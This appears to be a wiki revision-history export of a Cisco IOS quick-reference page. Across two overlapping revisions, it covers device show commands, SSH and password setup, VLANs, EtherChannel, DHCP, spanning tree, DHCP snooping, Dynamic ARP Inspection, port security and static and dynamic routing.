dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using default administrative distance values listed in the section below.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Manually define a path to a remote network. Here's an example manually defining the administrative distance<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
ipv6 route ::/0 2001:ABC:33:44::1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
{| class="wikitable" style="text-align:center"<br />
! Routing protocol !! Administrative distance<br />
|- <br />
| Directly connected interface || 0{{efn|Only the interface itself has an administrative distance of 0, since a route cannot have a distance of less than 1.}}<ref name="Cisco AD">{{citation |title=Default AD |url=http://www.cisco.com/c/en/us/support/docs/ip/border-gateway-protocol-bgp/15986-admin-distance.html#topic2 |author1=Cisco}}</ref><br />
|- <br />
| Static route || 1<br />
|- <br />
| Dynamic Mobile Network Routing (DMNR) || 3<br />
|- <br />
| [[EIGRP]] summary route || 5<br />
|- <br />
| External [[BGP]] || 20<br />
|- <br />
| [[EIGRP]] internal route || 90<br />
|- <br />
| [[IGRP]] || 100<br />
|- <br />
| [[OSPF|Open Shortest Path First]] (OSPF) || 110<br />
|- <br />
| [[IS-IS|Intermediate System to Intermediate System]] (IS-IS) || 115<br />
|- <br />
| [[Routing Information Protocol]] (RIP) || 120<br />
|- <br />
| [[Exterior Gateway Protocol]] (EGP) || 140<br />
|- <br />
| [[On Demand Routing|ODR]]|| 160<br />
|- <br />
| [[EIGRP]] external route || 170<br />
|- <br />
| Internal [[BGP]] || 200<br />
|-<br />
| [[Next Hop Resolution Protocol]] (NHRP) || 250<ref name="Cisco NHRP">{{citation |title=NHRP |url=https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_nhrp/command/reference/irn_book/nhrp-commands--a-through-z.html#wp8534493760 |author1=Cisco}}</ref><br />
|-<br />
| Default static route learned via DHCP || 254{{citation needed|date=October 2018}}<br />
|- <br />
| Unknown and unused || 255{{efn|An administrative distance of 255 will cause the router to remove the route from the routing table and not use it.}}<br />
|}<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1122
Cisco Commands
2026-02-23T22:36:05Z
<p>50.220.241.211: /* Assign IPv4 Default Route / Default Gateway (Router) */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway (switch) ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using default administrative distance values listed in the section below.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
